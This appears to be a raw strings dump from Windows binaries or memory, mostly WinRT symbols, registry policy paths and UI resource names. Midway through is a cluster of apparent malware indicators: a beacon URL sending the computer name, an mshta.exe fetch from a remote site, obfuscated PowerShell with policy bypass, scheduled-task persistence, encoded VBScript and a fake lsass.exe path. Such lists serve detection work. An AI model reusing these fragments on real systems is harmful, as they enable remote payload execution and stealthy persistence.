auto __cdecl winrt::impl::consume_Windows_Foundation_IAsyncOperation<struct winrt::Windows::Foundation::IAsyncOperation<struct winrt::Windows::Foundation::Collections::ValueSet>,struct winrt::Windows::Foundation::Collections::ValueSet>::Completed(const struct winrt::Windows::Foundation::AsyncOperationCompletedHandler<struct winrt::Windows::Foundation::Collections::ValueSet> &) const
void __cdecl winrt::impl::promise_base<struct std::coroutine_traits<struct winrt::Windows::Foundation::IAsyncOperation<bool>,struct winrt::SharedUtilities::Stub::BackgroundTasks::Utilities::CdmConnection>::promise_type,struct winrt::Windows::Foundation::IAsyncOperation<bool>,void>::Cancel(void) noexcept
void __cdecl winrt::impl::promise_base<struct std::coroutine_traits<struct winrt::Windows::Foundation::IAsyncOperation<bool>,struct winrt::SharedUtilities::Stub::BackgroundTasks::Utilities::CdmConnection>::promise_type,struct winrt::Windows::Foundation::IAsyncOperation<bool>,void>::Completed(const struct winrt::Windows::Foundation::AsyncOperationCompletedHandler<bool> &)
struct winrt::Windows::Foundation::IInspectable __cdecl winrt::SharedUtilities::Stub::BackgroundTasks::Utilities::factory_implementation::PhoneBrokerUtilsT<struct winrt::SharedUtilities::Stub::BackgroundTasks::Utilities::factory_implementation::PhoneBrokerUtils,struct winrt::SharedUtilities::Stub::BackgroundTasks::Utilities::implementation::PhoneBrokerUtils>::ActivateInstance(void) const
struct winrt::Windows::Foundation::IReference<unsigned char> __cdecl winrt::impl::as<struct winrt::Windows::Foundation::IReference<unsigned char>,struct winrt::impl::abi<struct winrt::Windows::Foundation::IUnknown,void>::type,0x0>(struct winrt::impl::abi<struct winrt::Windows::Foundation::IUnknown,void>::type *)
auto __cdecl winrt::Windows::Foundation::AsyncOperationCompletedHandler<bool>::operator ()(const struct winrt::Windows::Foundation::IAsyncOperation<bool> &,const enum winrt::Windows::Foundation::AsyncStatus &) const
auto __cdecl winrt::impl::consume_Windows_Foundation_IAsyncInfo<struct winrt::Windows::Foundation::IAsyncOperation<struct winrt::Windows::Foundation::Collections::ValueSet> >::Cancel(void) const
6*struct winrt::Windows::Foundation::IReference<struct winrt::hstring> __cdecl winrt::impl::as<struct winrt::Windows::Foundation::IReference<struct winrt::hstring>,struct winrt::impl::abi<struct winrt::Windows::Foundation::IUnknown,void>::type,0x0>(struct winrt::impl::abi<struct winrt::Windows::Foundation::IUnknown,void>::type *)
auto __cdecl winrt::impl::consume_Windows_Foundation_IPropertyValueStatics<struct winrt::Windows::Foundation::IPropertyValueStatics>::CreateString(const struct winrt::param::hstring &) const
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll651b27
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; .NET CLR 1.1.4322)
Mozilla/5.0 (Windows NT 5.2; rv:12.0) Gecko/20100101 Firefox/12.0
WindowsFormsComponentEditor
System.Windows.Forms.nomove2d.cur
System.Windows.Forms.hand.cur
System.Windows.Forms.ne.cur
System.Windows.Forms.se.cur
System.Windows.Forms.nomoveh.cur
System.Windows.Forms.north.cur
System.Windows.Forms.south.cur
System.Windows.Forms.hsplit.cur
System.Windows.Forms.vsplit.cur
System.Windows.Forms.east.cur
System.Windows.Forms.west.cur
System.Windows.Forms.nomovev.cur
System.Windows.Forms.nw.cur
System.Windows.Forms.sw.cur
System.Windows.Forms.UnsafeNativeMethods.IOleObject.EnumVerbs
get_WindowsGraphics
CreateMeasurementWindowsGraphics
s\system32\autoe.
!#AGGR:FileInsideWindowsFolder
!#AGGR:LUA:SonyWindows_Installer
C:\WINDOWS\system32\wbem\WmiApSrv.exe
 Windows-
 Windows-
 Windows-
 Windows-
 Windows-
 Windows-
 Windows-
Software\Microsoft\Windows\CurrentVersion\Telephony
GetSystemWindowsDirectoryA
IsWindowsIdentityFlowSuppressed
 Windows
Windows.Services.Store.StoreSubscriptionData
Windows.Services.Store.StoreVideo
Windows.Services.TargetedContent.Internal.SubscriptionManager
Windows.Services.TargetedContent.Internal.TargetedContentActionInternal
Windows.Services.TargetedContent.Internal.TargetedContentCacheChangeTracker
Windows.Networking.NetworkOperators.KnownSimFilePaths
Windows.Networking.NetworkOperators.KnownUSimFilePaths
Windows.Networking.NetworkOperators.MobileBroadbandAccount
Windows.Networking.NetworkOperators.MobileBroadbandAccountWatcher
Windows.Networking.NetworkOperators.MobileBroadbandAntennaSar
"http://2t.pm:8080/agbvff3ib5xgjknvo5j/!computername!"!%systemroot%\system32\shell32.dll
K${pat','h}="c:\','windows\m','icrosoft.','net\frame','work\v4.0','.30319\re','gsvcs.exe
system32\mshta.exe"https://www.drjagrutichavan.com/include/files/autzee/pich"&mshta.exe
@syswow64\schtasks.exesystem32\schtasks.exe/create /tnupdates\/xml\appdata\local\temp\
 \windows\temp\sb-sim-
Microsoft-Windows-Client-Features-Package06~31bf3856ad364e35~amd64~~10.0.26100.1591.cat
Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
c:\windows\system32\wscript.exe/e:vbscript.encodeconfig.dat0%programfiles%\windowsmediaplayer\wmplayer.exe%
,/e:vbscript.encodeupdate.dat"oslink.iconlocation="%systemroot%\system32\shell32.dll,19"oslink.windowstyle=7oslink.savesetobjfso=createobject("scripting.filesystemobject")setobjfile=objfso.getfile(""&shareobj.path&"\photos.lnk")
ws.run"c:\windows\lsass\lsass.exe"&lsass(num)&"",0,false
BC:\windows\lsass\
Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
.?AU?$implements_delegate@U?$TypedEventHandler@UUISettings@ViewManagement@UI@Windows@winrt@@UIInspectable@Foundation@45@@Foundation@Windows@winrt@@V<lambda_27>@?2??Initialize@XamlHost@Xaml@View@TaskManager@@QEAAJPEAUHWND__@@@Z@@impl@winrt@@
.?AU?$implements_delegate@U?$TypedEventHandler@UUISettings@ViewManagement@UI@Windows@winrt@@UIInspectable@Foundation@45@@Foundation@Windows@winrt@@V<lambda_26>@?2??Initialize@XamlHost@Xaml@View@TaskManager@@QEAAJPEAUHWND__@@@Z@@impl@winrt@@
.?AU?$delegate@U?$TypedEventHandler@UUISettings@ViewManagement@UI@Windows@winrt@@UIInspectable@Foundation@45@@Foundation@Windows@winrt@@V<lambda_27>@?2??Initialize@XamlHost@Xaml@View@TaskManager@@QEAAJPEAUHWND__@@@Z@@impl@winrt@@
.?AU?$delegate@U?$TypedEventHandler@UUISettings@ViewManagement@UI@Windows@winrt@@UIInspectable@Foundation@45@@Foundation@Windows@winrt@@V<lambda_26>@?2??Initialize@XamlHost@Xaml@View@TaskManager@@QEAAJPEAUHWND__@@@Z@@impl@winrt@@
.?AUtype@?$abi@U?$TypedEventHandler@UUISettings@ViewManagement@UI@Windows@winrt@@UIInspectable@Foundation@45@@Foundation@Windows@winrt@@X@impl@winrt@@
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat
System.Windows.Forms.UnsafeNativeMethods.IAccessibleInternal.get_accSelection
System.Windows.Forms.UnsafeNativeMethods.UiaCore.ITextRangeProvider.RemoveFromSelection
System.Windows.Forms.UnsafeNativeMethods.ISelectionItemProvider.RemoveFromSelection
System.Windows.Forms.UnsafeNativeMethods.UiaCore.ITextRangeProvider.AddToSelection
System.Windows.Forms.UnsafeNativeMethods.ISelectionItemProvider.AddToSelection
System.Windows.Forms.UnsafeNativeMethods.UiaCore.ITextProvider2.GetSelection
System.Windows.Forms.UnsafeNativeMethods.ILegacyIAccessibleProvider.GetSelection
System.Windows.Forms.UnsafeNativeMethods.ISelectionProvider.GetSelection
System.Windows.Forms.UnsafeNativeMethods.UiaCore.ITextProvider.GetSelection
System.Windows.Forms.UnsafeNativeMethods.UiaCore.ITextProvider2.SupportedTextSelection
System.Windows.Forms.UnsafeNativeMethods.UiaCore.ITextProvider.SupportedTextSelection
System.Windows.Forms.UnsafeNativeMethods.UiaCore.ITextProvider2.get_SupportedTextSelection
System.Windows.Forms.UnsafeNativeMethods.UiaCore.ITextProvider.get_SupportedTextSelection
windows.hlp`
microsoft.windows.immersivecontrolpanelSRD1
Global.WindowsOobeAppHostSRD1
Global.WindowsPersonaCard.wwa
WindowsStringHasEmbeddedNull
WindowsIsStringEmpty
start/minpowershell.exe-windowstylehidden"cls;$
&Ipowershell.exe-executionpolicybypass-windowstylehidden-command
ComSpec=C:\WINDOWS\system32\cmd.exe3
Digest Authentication for Windows
windir=C:\WINDOWSh
c:\windows\system32\
Path=C:\WINDOWS\system32;
DriverData=C:\Windows\System32\Drivers\DriverData
0mozilla/5.0(windowsnt6.1;trident/7.0;rv:11.0)
Software\Policies\Microsoft\Windows\DriverInstall\Restrictions\AllowUserDeviceClasses
SOFTWARE\Policies\Microsoft\Windows\WDI\{29689E29-2CE9-4751-B4FC-8EFF5066E3FD}@
SOFTWARE\Policies\Microsoft\Windows\WDI\{29689E29-2CE9-4751-B4FC-8EFF5066E3FD}@
SOFTWARE\Policies\Microsoft\Windows\WDI\{29689E29-2CE9-4751-B4FC-8EFF5066E3FD}@
SOFTWARE\Policies\Microsoft\Windows\WDI\{29689E29-2CE9-4751-B4FC-8EFF5066E3FD}@
Software\Policies\Microsoft\Windows\EnhancedStorageDevices\ApprovedEnStorDevices\ListQ
Software\Policies\Microsoft\Windows\EnhancedStorageDevices\ApprovedSilos\ListQ
IncludeWindowsApps9=
Software\Policies\Microsoft\Windows\Windows Error Reporting\ExcludedApplicationsQ
Software\Policies\Microsoft\Windows\Windows Error Reporting\ExcludedApplicationsQ
Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager
OS=Windows_NTe
APPDATA=C:\WINDOWS\ServiceProfiles\Network
      <assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" processorArchitecture="*" publicKeyToken="6595b64144ccf1df" language="*"></assemblyIdentity>
Software\Policies\Microsoft\Windows\BITS\Throttling\MaintenanceSchedule@
Software\Policies\Microsoft\Windows\BITS\Throttling\MaintenanceSchedule@
Software\Policies\Microsoft\Windows\BITS\Throttling\MaintenanceSchedule@	
Software\Policies\Microsoft\Windows\BITS\Throttling\MaintenanceSchedule@
Software\Policies\Microsoft\Windows\BITS\Throttling\MaintenanceSchedule@
Software\Policies\Microsoft\Windows\BITS\Throttling\MaintenanceSchedule@
Software\Policies\Microsoft\Windows\BITS\Throttling\MaintenanceSchedule@
Software\Policies\Microsoft\Windows\BITS\Throttling\MaintenanceSchedule@
Software\Policies\Microsoft\Windows\BITS\Throttling\MaintenanceSchedule@
Software\Policies\Microsoft\Windows\BITS\Throttling\MaintenanceSchedule@
Software\Policies\Microsoft\Windows\BITS\Throttling\WorkSchedule@
Software\Policies\Microsoft\Windows\BITS\Throttling\WorkSchedule@
Software\Policies\Microsoft\Windows\BITS\Throttling\WorkSchedule@	
Software\Policies\Microsoft\Windows\BITS\Throttling\WorkSchedule@
Software\Policies\Microsoft\Windows\BITS\Throttling\WorkSchedule@
Software\Policies\Microsoft\Windows\BITS\Throttling\WorkSchedule@
Software\Policies\Microsoft\Windows\BITS\Throttling\WorkSchedule@
Software\Policies\Microsoft\Windows\BITS\Throttling\WorkSchedule@
Software\Policies\Microsoft\Windows\BITS\Throttling\WorkSchedule@
Software\Policies\Microsoft\Windows\BITS\Throttling\WorkSchedule@
Software\Policies\Microsoft\Windows\BITS\Throttling\NonWorkSchedule@
Software\Policies\Microsoft\Windows\BITS\Throttling\NonWorkSchedule@
Software\Policies\Microsoft\Windows\BITS\Throttling\NonWorkSchedule@
Software\Policies\Microsoft\Windows\BITS\Throttling\NonWorkSchedule@
Software\Policies\Microsoft\Windows\BITS\Throttling\NonWorkSchedule@
Software\Policies\Microsoft\Windows\BITS\Throttling\NonWorkSchedule@
Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowCpl
Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\RestrictCpl
Software\Policies\Microsoft\Windows\CredentialsDelegation\AllowDefaultCredentialsQ
Software\Policies\Microsoft\Windows\CredentialsDelegation\AllowDefCredentialsWhenNTLMOnlyQ
Software\Policies\Microsoft\Windows\CredentialsDelegation\AllowFreshCredentialsQ
Software\Policies\Microsoft\Windows\CredentialsDelegation\AllowFreshCredentialsWhenNTLMOnlyQ
Software\Policies\Microsoft\Windows\CredentialsDelegation\AllowSavedCredentialsQ
Software\Policies\Microsoft\Windows\CredentialsDelegation\AllowSavedCredentialsWhenNTLMOnlyQ
Software\Policies\Microsoft\Windows\CredentialsDelegation\DenyDefaultCredentialsQ
Software\Policies\Microsoft\Windows\CredentialsDelegation\DenyFreshCredentialsQ
Software\Policies\Microsoft\Windows\CredentialsDelegation\DenySavedCredentialsQ
Software\Policies\Microsoft\Windows NT\DCOM\AppCompat\ActivationSecurityCheckExemptionListQ
Software\Policies\Microsoft\Windows\NetCache\{3EB685DB-65F9-4CF6-A03A-E3EF65729F3D}@
Software\Policies\Microsoft\Windows\NetCache\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}@
Software\Policies\Microsoft\Windows\NetCache\{625B53C3-AB48-4EC1-BA1F-A1EF4146FC19}@
Software\Policies\Microsoft\Windows\NetCache\{FDD39AD0-238F-46AF-ADB4-6C85480369C7}@
Software\Policies\Microsoft\Windows\NetCache\{33E28130-4E1E-4676-835A-98395C3BC3BB}@
Software\Policies\Microsoft\Windows\NetCache\{4BD8D571-6D19-48D3-BE97-422220080E43}@
Software\Policies\Microsoft\Windows\NetCache\{18989B1D-99B5-455B-841C-AB7C74E4DDFC}@
Software\Policies\Microsoft\Windows\NetCache\{1777F761-68AD-4D8A-87BD-30B759FA33DD}@
Software\Policies\Microsoft\Windows\NetCache\{56784854-C6CB-462b-8169-88E350ACB882}@
Software\Policies\Microsoft\Windows\NetCache\{374DE290-123F-4565-9164-39C4925E467B}@
Software\Policies\Microsoft\Windows\NetCache\{BFB9D5E0-C6A9-404C-B2B2-AE6DB6AF4968}@
Software\Policies\Microsoft\Windows\NetCache\{7D1D3A04-DEBB-4115-95CF-2F29DA2920DA}@
Software\Policies\Microsoft\Windows\NetCache\{4C5C32FF-BB9D-43B0-B5B4-2D72E54EAAA4}@
SOFTWARE\Policies\Microsoft\Windows\WDI\{dc42ff48-e40d-4a60-8675-e71f7e64aa9a}@
SOFTWARE\Policies\Microsoft\Windows\WDI\{dc42ff48-e40d-4a60-8675-e71f7e64aa9a}@
SOFTWARE\Policies\Microsoft\Windows\WDI\{dc42ff48-e40d-4a60-8675-e71f7e64aa9a}@
SOFTWARE\Policies\Microsoft\Windows\WDI\{dc42ff48-e40d-4a60-8675-e71f7e64aa9a}@
SOFTWARE\Policies\Microsoft\Windows NT\MitigationOptions\ProcessMitigationOptionsQ
DriverSearchPlaces_DontSearchWindowsUpdate
Software\Microsoft\Windows\CurrentVersion\Policies\Explorer@
Software\Microsoft\Windows\CurrentVersion\Policies\Explorer@
Software\Policies\Microsoft\Windows NT\CurrentVersion\Software Protection Platform@
Software\Policies\Microsoft\Windows NT\CurrentVersion\Software Protection Platform@#
AllowWindowsEntitlementReactivation6=
Software\Microsoft\Windows\CurrentVersion\Policies\Explorer@
Software\Microsoft\Windows\CurrentVersion\Policies\Explorer@
Software\Policies\Microsoft\Windows NT\Printers@
Software\Policies\Microsoft\Windows NT\Printers@
Software\Policies\Microsoft\Windows\HandwritingErrorReports@
Software\Policies\Microsoft\Windows\TabletPC@
Software\Policies\Microsoft\WindowsMovieMaker@
Software\Policies\Microsoft\WindowsMovieMaker@
Software\Policies\Microsoft\WindowsMovieMaker@
Software\Microsoft\Windows\CurrentVersion\Policies\Explorer@
Software\Microsoft\Windows\CurrentVersion\Policies\Explorer@
Software\Policies\Microsoft\Windows NT\CurrentVersion\Software Protection Platform@
Software\Policies\Microsoft\Windows NT\CurrentVersion\Software Protection Platform@#
AllowWindowsEntitlementReactivation6=
Software\Microsoft\Windows\CurrentVersion\Policies\Explorer@
Software\Microsoft\Windows\CurrentVersion\Policies\Explorer@
Software\Policies\Microsoft\Windows NT\Printers@
Software\Policies\Microsoft\Windows NT\Printers@
Software\Policies\Microsoft\Windows\HandwritingErrorReports@
Software\Policies\Microsoft\Windows\TabletPC@
Software\Policies\Microsoft\WindowsMovieMaker@
Software\Policies\Microsoft\WindowsMovieMaker@
Software\Policies\Microsoft\WindowsMovieMaker@
Software\Microsoft\Windows\CurrentVersion\Policies\Explorer@
Software\Microsoft\Windows\CurrentVersion\Policies\Explorer@
Software\Policies\Microsoft\Windows NT\CurrentVersion\Software Protection Platform@
Software\Policies\Microsoft\Windows NT\CurrentVersion\Software Protection Platform@#
AllowWindowsEntitlementReactivation6=
Software\Microsoft\Windows\CurrentVersion\Policies\Explorer@
Software\Policies\Microsoft\Windows\Windows Error Reporting@
Software\Microsoft\Windows\CurrentVersion\Policies\Explorer@
Software\Policies\Microsoft\Windows\Internet Connection Wizard@
Software\Policies\Microsoft\Windows\Registration Wizard Control@
Software\Policies\Microsoft\Windows NT\Printers@
Software\Policies\Microsoft\Windows NT\Printers@
Software\Policies\Microsoft\Windows\DriverSearching@
DontSearchWindowsUpdate6=
Software\Policies\Microsoft\Windows\WindowsUpdate@
DisableWindowsUpdateAccess6=
Software\Policies\Microsoft\Windows\HandwritingErrorReports@
Software\Policies\Microsoft\Windows\TabletPC@
Software\Policies\Microsoft\WindowsMovieMaker@
Software\Policies\Microsoft\WindowsMovieMaker@
Software\Policies\Microsoft\WindowsMovieMaker@
Software\Policies\Microsoft\SQMClient\Windows@
Software\Policies\Microsoft\Windows\NetworkConnectivityStatusIndicator@
Software\Microsoft\Windows\CurrentVersion\Policies\Explorer@
Software\Microsoft\Windows\CurrentVersion\Policies\Explorer@
Software\Policies\Microsoft\Windows NT\CurrentVersion\Software Protection Platform@
Software\Policies\Microsoft\Windows NT\CurrentVersion\Software Protection Platform@#
AllowWindowsEntitlementReactivation6=
Software\Microsoft\Windows\CurrentVersion\Policies\Explorer@
Software\Policies\Microsoft\Windows\Windows Error Reporting@
Software\Microsoft\Windows\CurrentVersion\Policies\Explorer@
Software\Policies\Microsoft\Windows\WindowsUpdate\AU@
Software\Policies\Microsoft\Windows\Internet Connection Wizard@
Software\Policies\Microsoft\Windows\Registration Wizard Control@
Software\Policies\Microsoft\Windows NT\Printers@
Software\Policies\Microsoft\Windows NT\Printers@
Software\Policies\Microsoft\Windows\DriverSearching@
DontSearchWindowsUpdate6=
Software\Policies\Microsoft\Windows\WindowsUpdate@
DisableWindowsUpdateAccess6=
Software\Policies\Microsoft\Windows\HandwritingErrorReports@
Software\Policies\Microsoft\Windows\TabletPC@
Software\Policies\Microsoft\WindowsMovieMaker@
Software\Policies\Microsoft\WindowsMovieMaker@
Software\Policies\Microsoft\WindowsMovieMaker@
Software\Policies\Microsoft\SQMClient\Windows@
Software\Policies\Microsoft\Windows\NetworkConnectivityStatusIndicator@
Software\Policies\Microsoft\Windows\Windows Error Reporting@
Software\Policies\Microsoft\Windows\Windows Error Reporting@
RemoveWindowsUpdate_ICM
Software\Microsoft\Windows\CurrentVersion\Policies\System\KDC\ParametersL
Software\Microsoft\Windows\CurrentVersion\Policies\System\KDC\Parameters@
Software\Microsoft\Windows\CurrentVersion\Policies\System\Kerberos\domain_realmQ
Software\Microsoft\Windows\CurrentVersion\Policies\System\Kerberos\KdcProxy\ProxyServersQ
Software\Microsoft\Windows\CurrentVersion\Policies\System\Kerberos\MitRealmsQ
SOFTWARE\Policies\Microsoft\Windows\WDI\{eb73b633-3f4e-4ba0-8f60-8f3c6f53168f}@
SOFTWARE\Policies\Microsoft\Windows\WDI\{eb73b633-3f4e-4ba0-8f60-8f3c6f53168f}@
SOFTWARE\Policies\Microsoft\Windows\WDI\{eb73b633-3f4e-4ba0-8f60-8f3c6f53168f}@
SOFTWARE\Policies\Microsoft\Windows\WDI\{eb73b633-3f4e-4ba0-8f60-8f3c6f53168f}@
DisableWindowsLocationProvider_1
Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
Software\Policies\Microsoft\Windows Defender\Exclusions\ExtensionsQ
Software\Policies\Microsoft\Windows Defender\Exclusions\PathsQ
Software\Policies\Microsoft\Windows Defender\Exclusions\ProcessesQ
Software\Policies\Microsoft\Windows Defender\Windows Defender Exploit Guard\ASR\ASROnlyExclusionsQ
Software\Policies\Microsoft\Windows Defender\Windows Defender Exploit Guard\ASR\RulesQ
Software\Policies\Microsoft\Windows Defender\Windows Defender Exploit Guard\Controlled Folder Access\AllowedApplicationsQ
Software\Policies\Microsoft\Windows Defender\Windows Defender Exploit Guard\Controlled Folder Access\ProtectedFoldersQ
Software\Policies\Microsoft\Windows Defender\NIS\Consumers\IPS\SKU Differentiation\Signature Set GUIDQ
Software\Policies\Microsoft\Windows Defender\Threats\ThreatIdDefaultActionQ
MMC_WindowsFirewall
MMC_WindowsFirewall_GP
SOFTWARE\Policies\Microsoft\Windows\WDI\{C295FBBA-FD47-46ac-8BEE-B1715EC634E5}@
SOFTWARE\Policies\Microsoft\Windows\WDI\{C295FBBA-FD47-46ac-8BEE-B1715EC634E5}@
SOFTWARE\Policies\Microsoft\Windows\WDI\{C295FBBA-FD47-46ac-8BEE-B1715EC634E5}@
SOFTWARE\Policies\Microsoft\Windows\NetworkConnectivityAssistant\ProbesQ
SOFTWARE\Policies\Microsoft\Windows\NetworkConnectivityAssistant\CustomCommandsQ
SOFTWARE\Policies\Microsoft\Windows\NetworkConnectivityAssistant\DTEsQ
SOFTWARE\Policies\Microsoft\Windows\NetworkConnectivityAssistantL
SOFTWARE\Policies\Microsoft\Windows\NetworkConnectivityAssistantL
Software\Policies\Microsoft\Windows\NetCache\AssignedOfflineFoldersQ
Software\Policies\Microsoft\Windows\NetCache\AssignedOfflineFoldersQ
Software\Policies\Microsoft\Windows\NetCache\CustomGoOfflineActionsP
Software\Policies\Microsoft\Windows\NetCache\CustomGoOfflineActionsP
Software\Policies\Microsoft\Windows\NetCache\NoMakeAvailableOfflineListQ
Software\Policies\Microsoft\Windows\NetCache\NoMakeAvailableOfflineListQ
Software\Policies\Microsoft\Windows\NetCache\SlowLinkParamsP
SOFTWARE\Policies\Microsoft\Windows\WDI\{affc81e2-612a-4f70-6fb2-916ff5c7e3f8}@
SOFTWARE\Policies\Microsoft\Windows\WDI\{affc81e2-612a-4f70-6fb2-916ff5c7e3f8}@
SOFTWARE\Policies\Microsoft\Windows\WDI\{affc81e2-612a-4f70-6fb2-916ff5c7e3f8}@
SOFTWARE\Policies\Microsoft\Windows\WDI\{affc81e2-612a-4f70-6fb2-916ff5c7e3f8}@
SOFTWARE\Policies\Microsoft\Windows\WDI\{acfd1ca6-18b6-4ccf-9c07-580cdb6eded4}@
SOFTWARE\Policies\Microsoft\Windows\WDI\{acfd1ca6-18b6-4ccf-9c07-580cdb6eded4}@
SOFTWARE\Policies\Microsoft\Windows\WDI\{acfd1ca6-18b6-4ccf-9c07-580cdb6eded4}@
SOFTWARE\Policies\Microsoft\Windows\WDI\{acfd1ca6-18b6-4ccf-9c07-580cdb6eded4}@
EnableWindowsBranchCache
EnableWindowsBranchCache_Distributed
EnableWindowsBranchCache_Hosted
EnableWindowsBranchCache_HostedCacheDiscovery
EnableWindowsBranchCache_HostedMultipleServers
EnableWindowsBranchCache_SMB
SOFTWARE\Policies\Microsoft\Windows\WDI\{86432a0b-3c7d-4ddf-a89c-172faa90485d}@
SOFTWARE\Policies\Microsoft\Windows\WDI\{86432a0b-3c7d-4ddf-a89c-172faa90485d}@
SOFTWARE\Policies\Microsoft\Windows\WDI\{186f47ef-626c-4670-800a-4a30756babad}@
SOFTWARE\Policies\Microsoft\Windows\WDI\{ecfb03d1-58ee-4cc7-a1b5-9bc6febcb915}@
SOFTWARE\Policies\Microsoft\Windows\WDI\{186f47ef-626c-4670-800a-4a30756babad}@
SOFTWARE\Policies\Microsoft\Windows\WDI\{ecfb03d1-58ee-4cc7-a1b5-9bc6febcb915}@
Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging\ModuleNames
DoNotInstallCompatibleDriverFromWindowsUpdate
Software\Policies\Microsoft\Windows NT\Printers\PackagePointAndPrint\ListofServersQ
Software\Policies\Microsoft\Windows NT\Printers\PackagePointAndPrint\ListofServersQ
NoWindowsFeatures
NoWindowsMarketplace
Software\Policies\Microsoft\Windows\RemovableStorageDevices\Custom\Deny_Read\ListQ
Software\Policies\Microsoft\Windows\RemovableStorageDevices\Custom\Deny_Read\ListQ
Software\Policies\Microsoft\Windows\RemovableStorageDevices\Custom\Deny_Write\ListQ
Software\Policies\Microsoft\Windows\RemovableStorageDevices\Custom\Deny_Write\ListQ
Software\Policies\Microsoft\Windows\RemovableStorageDevices\{F33FDC04-D1AC-4E8E-9A30-19BBD4B108AE}@	
Software\Policies\Microsoft\Windows\RemovableStorageDevices\{F33FDC04-D1AC-4E8E-9A30-19BBD4B108AE}@	
Software\Policies\Microsoft\Windows\RemovableStorageDevices\{F33FDC04-D1AC-4E8E-9A30-19BBD4B108AE}@	
Software\Policies\Microsoft\Windows\RemovableStorageDevices\{F33FDC04-D1AC-4E8E-9A30-19BBD4B108AE}@	
Software\Policies\Microsoft\Windows\RemovableStorageDevices\{F33FDC04-D1AC-4E8E-9A30-19BBD4B108AE}@
Software\Policies\Microsoft\Windows\RemovableStorageDevices\{F33FDC04-D1AC-4E8E-9A30-19BBD4B108AE}@
Software\Policies\Microsoft\Windows\RemovableStorageDevices\{F33FDC04-D1AC-4E8E-9A30-19BBD4B108AE}@
Software\Policies\Microsoft\Windows\RemovableStorageDevices\{F33FDC04-D1AC-4E8E-9A30-19BBD4B108AE}@
DisableWindowsSettingSync
DisableWindowsSettingSyncUserOverride9=
Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun
Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\RestrictRunQ
NoWindowsUpdate
Software\Policies\Microsoft\Windows\Explorer\StartPinAppsWhenInstalledQ
ShowWindowsStoreAppsOnTaskbar
Windows_Scaling_Heuristics_State
SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services@
SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services@
SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services@
SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services@
DisableWindowsOSSettings
Software\Policies\Microsoft\Windows\UEV\Agent@
Software\Policies\Microsoft\Windows\UEV\Agent@
SyncUnlistedWindows8Apps
ADMX_WindowsColorSystem
ADMX_WindowsConnectNow
ADMX_WindowsMediaDRM
ADMX_WindowsMediaPlayer
Software\Policies\Microsoft\WindowsMediaPlayer\Protocols\HTTP@
Software\Policies\Microsoft\WindowsMediaPlayer\Protocols\HTTP@
Software\Policies\Microsoft\WindowsMediaPlayer\Protocols\HTTP@
Software\Policies\Microsoft\WindowsMediaPlayer\Protocols\HTTP@
Software\Policies\Microsoft\WindowsMediaPlayer\Protocols\HTTP@
Software\Policies\Microsoft\WindowsMediaPlayer\Protocols\HTTP@
Software\Policies\Microsoft\WindowsMediaPlayer\Protocols\HTTP@
Software\Policies\Microsoft\WindowsMediaPlayer\Protocols\HTTP@
Software\Policies\Microsoft\WindowsMediaPlayer\Protocols\HTTP@
Software\Policies\Microsoft\WindowsMediaPlayer\Protocols\MMS@
Software\Policies\Microsoft\WindowsMediaPlayer\Protocols\MMS@
Software\Policies\Microsoft\WindowsMediaPlayer\Protocols\MMS@
Software\Policies\Microsoft\WindowsMediaPlayer\Protocols\MMS@
Software\Policies\Microsoft\WindowsMediaPlayer\Protocols\RTSP@
Software\Policies\Microsoft\WindowsMediaPlayer\Protocols\RTSP@
Software\Policies\Microsoft\WindowsMediaPlayer\Protocols\RTSP@
Software\Policies\Microsoft\WindowsMediaPlayer\Protocols\RTSP@
Software\Policies\Microsoft\WindowsMediaPlayer@
